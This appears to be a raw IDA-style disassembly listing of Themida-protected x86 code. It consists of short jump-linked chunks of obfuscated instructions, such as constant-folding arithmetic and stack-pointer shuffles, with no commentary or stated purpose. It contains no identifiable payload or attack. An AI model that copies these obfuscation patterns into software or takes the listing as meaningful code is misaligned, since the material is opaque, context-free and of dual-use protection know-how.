mov ah, 0FAh
and cl, ah
mov eax, [esp+8+var_8]
jmp loc_59B8A0
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_596F65: ; CODE XREF: Themida_:0059D1F7j
pop dword ptr [esp]
pop esp
mov cx, [esp]
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], esp
sub esp, 4
jmp loc_59B942
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_596F8A: ; CODE XREF: sub_59FD45-E2j
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
or ebx, ebx
jnz loc_59D0E9
push ebx
jmp loc_5A0A26
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_596F9F: ; CODE XREF: Themida_:0059A5B0j
pop esp
mov [esp], ebx
push eax
push ebx
mov bh, dl
mov al, bh
pop ebx
push edx
mov dh, al
push 6950h
mov [esp], eax
mov al, dh
jmp loc_59AC5A
; ---------------------------------------------------------------------------
loc_596FBC: ; CODE XREF: Themida_:0059C5DBj
mov esp, [esp]
add eax, 4
jmp loc_59EAD4
; ---------------------------------------------------------------------------
loc_596FC9: ; CODE XREF: Themida_:005A07D7j
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59951E
; =============== S U B R O U T I N E =======================================
sub_596FDC proc near ; CODE XREF: sub_59BDD3-41ECj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
push ecx
mov ecx, 4F4C04A7h
dec ecx
and ecx, 4B373416h
jmp sub_59D82E
sub_596FDC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_596FF7: ; CODE XREF: sub_591FC5+A7A9j
sub al, 0Ch
add al, bl
push dx
mov dl, 0Ch
add al, dl
pop dx
sub al, 64h
jmp loc_5933E0
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_59700A: ; CODE XREF: Themida_:005A072Ej
xchg bl, cl
push ebx
mov bh, 0A9h
dec bh
dec bh
add bh, 0D4h
xor bh, 16h
sub bh, 0
add cl, bh
pop ebx
push small 12E0h
jmp loc_59E844
; ---------------------------------------------------------------------------
loc_597028: ; CODE XREF: Themida_:005A2C2Ej
pop eax
shr edi, 1
shl edi, 6
neg edi
jmp loc_5916B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597035: ; CODE XREF: sub_59390B+7C26j
push edi
mov edi, 7E9910A5h
mov ebp, 8166EF5Fh
add ebp, edi
jmp loc_5A5814
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597047: ; CODE XREF: Themida_:00591989j
push eax
mov eax, esp
jmp loc_5A3F07
; ---------------------------------------------------------------------------
loc_59704F: ; CODE XREF: Themida_:005A4030j
push 2ACAh
mov [esp], edi
jmp loc_5A0DA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59705C: ; CODE XREF: sub_59A431+9EBj
mov esi, [esp+18h+var_18]
jmp loc_59385A
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597064: ; CODE XREF: sub_59390B+9D9Fj
mov ecx, 0FFFFFFFFh
add eax, 45A51CD0h
add eax, ecx
jmp loc_59C6FA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_597075: ; CODE XREF: sub_59886E+2B7j
mov esi, 4CEC776Ah
add [esp+8+var_4], esi
mov esi, [esp+8+var_8]
add esp, 4
pop eax
push 3FCDh
mov [esp+4+var_4], ebp
mov ebp, 4CEC776Ah
push ebx
mov ebx, 1999374Ch
push ebx
not [esp+0Ch+var_C]
pop ebx
jmp loc_59C581
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
loc_5970A2: ; CODE XREF: Themida_:0059A7ACj
mov [esp], ebx
mov bh, 8Ch
sub cl, bh
pop ebx
jmp loc_594D9D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5970AF: ; CODE XREF: sub_59390B+B7AFj
add ebx, edi
push eax
mov eax, 41734507h
inc eax
and eax, 4297122Fh
jmp loc_59E57D
; ---------------------------------------------------------------------------
loc_5970C2: ; CODE XREF: sub_59390B+266Aj
add ebx, 322E6F33h
xor esi, ebx
pop ebx
or [edi+1Ch], esi
pop esi
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5970D4: ; CODE XREF: Themida_:005A4F16j
push ebx
push 4E507D9Bh
mov ebx, [esp]
add esp, 4
xor ebx, 37A56B71h
not ebx
push eax
jmp loc_5A5264
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
add dword ptr [esp], 4
pop esi
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
add esi, 53C87856h
add esi, edx
sub esi, 53C87856h
pop edx
sub esp, 4
mov [esp], ebx
push 2
pop ebx
sub esi, 3B70A97h
add esi, ebx
jmp loc_5A0FEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_59712E: ; CODE XREF: sub_5A21DE-10C0Cj
mov ecx, [esp+0Ch+var_C]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
add ebp, 55B3370Ch
sub ebp, 119C0A90h
add ebp, edx
add ebp, 119C0A90h
sub ebp, 55B3370Ch
pop edx
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_5987CA
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
locret_597168: ; CODE XREF: Themida_:0059B57Aj
retn
; ---------------------------------------------------------------------------
loc_597169: ; DATA XREF: Themida_:005907B8o
push edx
push 341Ah
jmp loc_59F4DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597174: ; CODE XREF: sub_59390B-166j
mov [esp-12h+arg_8+2], esi
jmp loc_598A31
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59717C: ; CODE XREF: Themida_:0059FEC6j
push ebx
jmp loc_592C77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597182: ; CODE XREF: sub_59390B+84F4j
xor edi, ebp
xor ebp, edi
not edi
jmp loc_5934BE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59718D: ; CODE XREF: sub_5A23FB-F21Fj
mov edx, [esp+0]
add esp, 4
jmp loc_59CAE4
; END OF FUNCTION CHUNK FOR sub_5A23FB
; =============== S U B R O U T I N E =======================================
sub_597198 proc near ; CODE XREF: sub_5A28F6-943Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590A9B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593268 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059528E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EDCD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0A0A SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
jmp loc_59528E
sub_597198 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5971AE: ; CODE XREF: sub_59886E+3D16j
or ebx, 2DCD3F02h
jmp loc_59E616
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5971B9: ; CODE XREF: sub_5A0BFE-6515j
add edi, ebp
jmp loc_590EB7
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; =============== S U B R O U T I N E =======================================
sub_5971C0 proc near ; CODE XREF: sub_59E716-A383j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005952D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595D3A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599B71 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BFEF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059D19B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A21B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3E2A SIZE 00000006 BYTES
push ebp
push 11257C37h
pop ebp
add ebp, 6905FCADh
mov edi, ebp
pop ebp
mov ebx, edi
jmp loc_5952D8
sub_5971C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5971D7: ; CODE XREF: Themida_:00591E70j
mov [esp], eax
mov eax, 16002FCCh
jmp loc_5A536C
; ---------------------------------------------------------------------------
loc_5971E4: ; CODE XREF: Themida_:00598410j
xor ebp, 2A8D7CEBh
add ebp, 1C4841Dh
xor ebx, ebp
pop ebp
add eax, ebx
jmp loc_59AC2F
; ---------------------------------------------------------------------------
loc_5971FA: ; CODE XREF: Themida_:00592DBBj
add esp, 4
push edx
push esp
mov edx, [esp]
push edi
jmp loc_59AC1C
; ---------------------------------------------------------------------------
loc_59720B: ; CODE XREF: Themida_:00594687j
add edx, 4
sub edx, 4
xor edx, [esp]
jmp loc_5962EB
; ---------------------------------------------------------------------------
loc_59721F: ; CODE XREF: Themida_:0059E154j
push esi
push ecx
mov ecx, 21341481h
jmp loc_59A1B4
; ---------------------------------------------------------------------------
loc_59722B: ; CODE XREF: Themida_:005A52ECj
add bl, dl
pop dx
sub bl, 0F4h
sub esp, 4
mov [esp], edx
jmp loc_599245
; ---------------------------------------------------------------------------
loc_59723D: ; CODE XREF: Themida_:00592EE1j
push edi
jmp loc_59C88C
; ---------------------------------------------------------------------------
loc_597243: ; CODE XREF: Themida_:00590F8Aj
add [esp+4], edx
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_597D2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59727A: ; CODE XREF: sub_59390B+F47Dj
add esi, 359F323Fh
pop ebp
push edx
mov edx, 4
jmp loc_59A95E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59728C: ; CODE XREF: sub_5A4CDD-6FC6j
xor ebx, esi
push esi
jmp loc_59C996
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_597294: ; CODE XREF: sub_5A51EA-433Fj
pop dx
jmp loc_5A15CA
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59729B: ; CODE XREF: Themida_:00592F6Dj
push 45DCh
mov [esp], ecx
push eax
mov al, dh
mov cl, al
pop eax
mov bh, cl
pop ecx
mov edx, [esp]
add esp, 4
push ecx
push edx
mov dh, bh
jmp loc_5A01F4
; ---------------------------------------------------------------------------
loc_5972BE: ; CODE XREF: Themida_:0059F1E6j
sub dword ptr [esp+8], 521B7531h
sub [esp+8], edx
push esi
push ebp
mov ebp, 521B7531h
mov esi, ebp
pop ebp
add [esp+0Ch], esi
jmp loc_5991DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5972DD: ; CODE XREF: sub_59A431-95DCj
not ecx
dec ecx
not ecx
or ecx, 2F3D3BACh
xor ecx, 40B37192h
and edx, ecx
jmp loc_5A19CB
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5972F5: ; CODE XREF: Themida_:0059EAB3j
mov ecx, 3E2E2FD8h
sub ecx, 1D4F0784h
push ebx
push ebp
push 565E65B1h
pop ebp
push eax
mov eax, 32F708B0h
sub ebp, eax
pop eax
add ebp, 0FFFFFFFFh
push esi
jmp loc_5977EA
; =============== S U B R O U T I N E =======================================
sub_59731A proc near ; CODE XREF: sub_591D35+2C4Dj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059BCE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CAB9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D479 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A0E6F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3C37 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4648 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5685 SIZE 0000001B BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_59CAB9
sub_59731A endp
; ---------------------------------------------------------------------------
loc_597328: ; CODE XREF: Themida_:005A1E71j
pop esi
mov edi, ebp
pop ebp
neg edi
add edi, 0FFFFFFFFh
sub edi, 33C5885Bh
jmp loc_59220B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59733C: ; CODE XREF: sub_59A4D6+9F27j
push [esp+0Ch+var_8]
mov eax, [esp+10h+var_10]
jmp loc_5A06D9
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_597348: ; CODE XREF: Themida_:0059D2E3j
mov eax, 1A37AC2h
xor eax, 6E3447DFh
shr eax, 2
not eax
push ecx
mov ecx, 0E41A30B7h
sub eax, ecx
pop ecx
add edx, eax
pop eax
push 1844h
jmp loc_59B3BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59736D: ; CODE XREF: sub_59390B+116E4j
xor [esp-12h+arg_8+2], eax
jmp loc_596710
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_597375: ; CODE XREF: sub_5936EC+C70Aj
add ebp, 11B72D4h
pop edx
shl ebp, 6
or ebp, 22156CBDh
shr ebp, 4
add ebp, 37A17AC1h
xor ebp, 519145C5h
sub ebx, 2146F17h
sub ebx, 71A64192h
sub ebx, ebp
add ebx, 71A64192h
jmp loc_5950A4
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_5973AD: ; CODE XREF: Themida_:005A436Bj
sub edx, 632A72B4h
pop edi
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 3132E872h
push edi
mov edi, 4837F1h
sub eax, edi
pop edi
sub eax, 40D764EDh
jmp loc_5A413D
; ---------------------------------------------------------------------------
loc_5973D5: ; CODE XREF: Themida_:005946ADj
xchg esi, [esp]
pop esp
mov [esp], edx
not byte ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_59D3E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5973EA: ; CODE XREF: sub_59390B+10BB7j
shl dl, 3
jmp loc_594FFC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5973F2: ; CODE XREF: Themida_:00596050j
shl esi, 4
xor esi, 2A456F6Dh
xor esi, 0EF3C8852h
mov ebp, esi
jmp loc_59DF80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_597408: ; CODE XREF: sub_59CFD4-5394j
add esi, 48075024h
jmp loc_59FBB6
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_597413: ; CODE XREF: Themida_:005A1D4Ej
shr al, 3
neg al
jmp loc_593521
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_59741D: ; CODE XREF: sub_59C8A4-424Aj
add esp, 4
jmp loc_59398A
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
loc_597428: ; CODE XREF: Themida_:0059A2E8j
mov ebx, ecx
pop ecx
add edi, ebx
mov ebx, [esp]
jmp loc_5A3488
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B8D
loc_597435: ; CODE XREF: sub_590B8D+109A9j
mov ecx, 43D41BE1h
not ecx
push esi
mov esi, 9672D7B2h
xor ecx, esi
pop esi
add eax, ecx
pop ecx
jmp loc_5922FF
; END OF FUNCTION CHUNK FOR sub_590B8D
; ---------------------------------------------------------------------------
loc_59744D: ; CODE XREF: Themida_:00590E1Aj
mov [esp], ebp
push eax
jmp loc_59F8D5
; ---------------------------------------------------------------------------
loc_597456: ; CODE XREF: Themida_:005955ABj
xchg esi, [esp]
mov esp, [esp]
imul cx
push small 77E4h
mov [esp], dx
push ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59746F: ; CODE XREF: sub_59390B-3C4j
pop ebx
add al, cl
mov ecx, [esp-8+arg_0]
add esp, 4
jmp loc_59F5DA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597480: ; CODE XREF: Themida_:00599458j
xor eax, 122B6086h
neg eax
sub eax, 0BEBB9311h
and esi, eax
mov eax, [esp]
add esp, 4
push 39A4h
mov [esp], edi
mov edi, 6A720039h
or edi, 5D7D7C7Fh
push eax
mov eax, 5E752E0Eh
jmp loc_59C95E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5974B2: ; CODE XREF: sub_59390B+1198Cj
sub ecx, 6236319Bh
sub esp, 4
mov [esp-8+arg_0], ebp
mov ebp, 290F200Dh
neg ebp
inc ebp
inc ebp
push eax
mov eax, 0AF33D15Fh
add ebp, 3D3164DAh
sub ebp, eax
sub ebp, 3D3164DAh
pop eax
add ecx, ebp
pop ebp
sub ecx, 0FE3A37BAh
xor edi, ecx
pop ecx
add ecx, 16CA7BB3h
add ecx, edi
sub ecx, 16CA7BB3h
jmp loc_59AB7E
; ---------------------------------------------------------------------------
loc_5974FE: ; CODE XREF: sub_59390B+FCC2j
mov ebx, edx
jmp loc_59B90B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597505: ; CODE XREF: Themida_:005A0707j
add edi, ebp
pop ebp
jmp loc_59E764
; ---------------------------------------------------------------------------
loc_59750D: ; CODE XREF: Themida_:0059C4C2j
mov esi, 44C12BE0h
jmp loc_590C05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_597517: ; CODE XREF: sub_59822A-3D5Bj
mov ecx, 4
jmp loc_598DE9
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
loc_597521: ; CODE XREF: Themida_:005977A2j
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_597526: ; CODE XREF: Themida_:005A0DDCj
mov [esp], esi
jmp loc_591E1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59752E: ; CODE XREF: sub_59390B+94ADj
mov [esp-10h+arg_8], edi
mov edi, 4
add [esp-10h+arg_C], edi
mov edi, [esp-10h+arg_8]
jmp loc_5A1165
; ---------------------------------------------------------------------------
loc_597542: ; CODE XREF: sub_59390B+106CBj
mov [esp-10h+arg_8], esi
push esp
pop esi
jmp loc_5A05E8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59754C: ; CODE XREF: Themida_:005A56A7j
push edx
mov edx, 76634354h
jmp loc_59C2DB
; ---------------------------------------------------------------------------
loc_597557: ; CODE XREF: Themida_:005A1377j
add esi, eax
jmp loc_5A4C1B
; ---------------------------------------------------------------------------
loc_59755E: ; CODE XREF: Themida_:0059E7ACj
pop ebp
pop dword ptr [esp]
jmp loc_592A38
; ---------------------------------------------------------------------------
loc_597567: ; CODE XREF: Themida_:0059FF08j
push esp
pop edx
jmp loc_592537
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59756E: ; CODE XREF: sub_59918B+30j
mov ebp, 574E4830h
xor ebp, 498C13E3h
add ebp, 28CE75E4h
jmp loc_599368
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_597584: ; CODE XREF: sub_5A0D58-1599j
mov esp, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], esi
jmp loc_59EC2E
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_597595: ; CODE XREF: sub_59AB43-61D7j
or edx, edi
mov edi, [esp-0Ch+arg_8]
jmp loc_594971
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BDD3
loc_5975AF: ; CODE XREF: sub_59BDD3-917Dj
mov eax, 0A4BDA433h
xor edi, eax
jmp loc_59C5F4
; END OF FUNCTION CHUNK FOR sub_59BDD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D02F
loc_5975BB: ; CODE XREF: sub_59D02F+EEj
pop dword ptr [eax]
add dword ptr [eax], 12AC71C2h
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
mov [esp+0Ch+var_C], edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
push [esp+10h+var_C]
pop edx
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59D02F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DD1C
loc_5975F4: ; CODE XREF: sub_59DD1C-3BD7j
mov ecx, [esp+4+var_4]
jmp loc_594091
; END OF FUNCTION CHUNK FOR sub_59DD1C
; ---------------------------------------------------------------------------
loc_5975FC: ; CODE XREF: Themida_:0059849Ej
not ebx
push edi
mov edi, 6FEE4724h
or ebx, edi
pop edi
push edx
mov edx, 3D0030FBh
shl edx, 3
not edx
not edx
or edx, 21621577h
shr edx, 6
sub edx, 0F3A46E5Ah
add ebx, edx
jmp loc_594F47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59762A: ; CODE XREF: sub_59390B+5F27j
mov word ptr [esp-10h+arg_8], di
sub esp, 2
mov word ptr [esp-0Ch+arg_4], si
push edx
mov dx, 0EEEDh
jmp loc_5A3027
; ---------------------------------------------------------------------------
loc_597642: ; CODE XREF: sub_59390B-1FB3j
mov ecx, 7DBB6849h
add ebx, ecx
pop ecx
add ebx, 275C4EE2h
sub ebx, 6C6F761Ch
mov edx, ebx
pop ebx
add edi, edx
jmp loc_59AAD8
; ---------------------------------------------------------------------------
loc_597660: ; CODE XREF: sub_59390B+88Aj
pop esp
add esp, 4
sub dword ptr [esp+4], 44274868h
add dword ptr [esp+4], 0AF939C1h
add [esp+4], edx
sub dword ptr [esp+4], 0AF939C1h
jmp loc_594372
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597688: ; CODE XREF: Themida_:005923E6j
pop edx
add esp, 4
add ecx, 3EDD0E0Dh
add ecx, 0FFFFFFFFh
sub ecx, 25B7E509h
jmp loc_5A44DA
; ---------------------------------------------------------------------------
loc_5976A3: ; CODE XREF: Themida_:0059778Ej
push 66EDh
jmp loc_593DD3
; ---------------------------------------------------------------------------
loc_5976AD: ; CODE XREF: Themida_:005A4A16j
not dl
sub dl, 71h
push ebx
mov bl, 9Bh
jmp loc_5A30C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5976BA: ; CODE XREF: sub_59390B+107F8j
mov [esp+0], esi
mov esi, 4
jmp loc_59AF02
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5976C7: ; CODE XREF: Themida_:0059AE9Cj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 57E7h
mov [esp], edx
push eax
mov eax, esp
push edi
mov edi, 7B6433DBh
jmp loc_59E456
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_5976EA: ; CODE XREF: sub_59D82E-C8EAj
xor [esp-0Ch+arg_8], ecx
xor ecx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
jmp loc_5A4623
; END OF FUNCTION CHUNK FOR sub_59D82E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5976F8: ; CODE XREF: sub_59390B+8064j
add esp, 4
jmp loc_5929F2
; ---------------------------------------------------------------------------
loc_597700: ; CODE XREF: sub_59390B+289Bj
mov [esp-0Ch+arg_4], eax
push esp
pop eax
jmp loc_599566
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59770A: ; CODE XREF: Themida_:005955B4j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59770F: ; CODE XREF: sub_59390B+FF0Bj
push [esp-0Ch+arg_4]
mov esi, [esp-8+arg_0]
push ebx
jmp loc_597C6A
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59771B proc near ; DATA XREF: Themida_:00590A08o
var_8 = dword ptr -8
mov cx, [esp+0]
push eax
push esp
pop eax
push ecx
mov ecx, 4
sub eax, 3A515655h
add eax, ecx
add eax, 3A515655h
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_59410E
sub_59771B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597742: ; CODE XREF: sub_59390B+9F46j
sub edx, 4
xchg edx, [esp+0]
pop esp
mov [esp-8+arg_0], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5941DC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_59775D: ; CODE XREF: sub_5A2FE9-CF8Fj
sub ebx, esi
pop esi
or ebx, 4ACE63E9h
push 4D55h
jmp loc_5932A7
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_597770: ; CODE XREF: sub_5A0D58-20EEj
mov ecx, 0AB772A6h
push ebx
mov ebx, 774C3A7Dh
jmp loc_5A15BC
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
loc_597780: ; CODE XREF: Themida_:005A4862j
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5976A3
; ---------------------------------------------------------------------------
loc_597793: ; CODE XREF: Themida_:005991DAj
pop ecx
pop dword ptr [esp]
push edi
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_597521
; ---------------------------------------------------------------------------
loc_5977A7: ; CODE XREF: Themida_:00595EACj
sub dword ptr [esp+4], 72EA58E5h
sub [esp+4], eax
jmp loc_5A0DE9
; ---------------------------------------------------------------------------
loc_5977B8: ; CODE XREF: Themida_:00594640j
sub ebp, 0B1C73BC9h
xor ebx, ebp
pop ebp
xor ebx, 0CDCA6026h
add ecx, 1005214h
jmp loc_59E406
; ---------------------------------------------------------------------------
loc_5977D2: ; CODE XREF: Themida_:0059D40Dj
xor ah, 39h
add dl, ah
mov eax, [esp]
add esp, 4
xor dl, 1Ch
and al, dl
jmp loc_59BF39
; ---------------------------------------------------------------------------
loc_5977EA: ; CODE XREF: Themida_:00597315j
mov esi, 19EA4BA2h
xor ebp, esi
jmp loc_590C68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5977F6: ; CODE XREF: sub_59886E-42D1j
mov esp, [esp+4+var_4]
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_5A4ECD
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
loc_597813: ; CODE XREF: Themida_:00591942j
add ebx, 1620706h
add ebx, eax
sub ebx, 1620706h
sub ebx, 0AE803C1h
push dword ptr [esp]
jmp loc_5A487F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59782F: ; CODE XREF: sub_59A4D6-5387j
pop esi
sub [edi+24h], ebp
push [esp+0Ch+var_C]
jmp loc_599279
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59783B: ; CODE XREF: sub_598762-399Dj
add ebp, 21412606h
add ebp, 0BC706Ch
pop edx
push 0C71h
mov [esp+0Ch+var_C], ebp
push [esp+0Ch+var_8]
push [esp+10h+var_10]
push [esp+14h+var_14]
pop ebp
push edx
jmp loc_5958B4
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
loc_597861: ; CODE XREF: Themida_:005A1CD2j
push ecx
mov ecx, 6D245262h
sub esp, 4
mov [esp], ecx
push 2E93AEBh
mov ecx, [esp]
jmp loc_59BC00
; ---------------------------------------------------------------------------
loc_59787A: ; CODE XREF: Themida_:005A1A1Bj
sub esp, 4
mov [esp], eax
mov al, 15h
not al
or al, 0Eh
add al, 0C1h
push ebx
mov bh, al
jmp loc_59C0CD
; ---------------------------------------------------------------------------
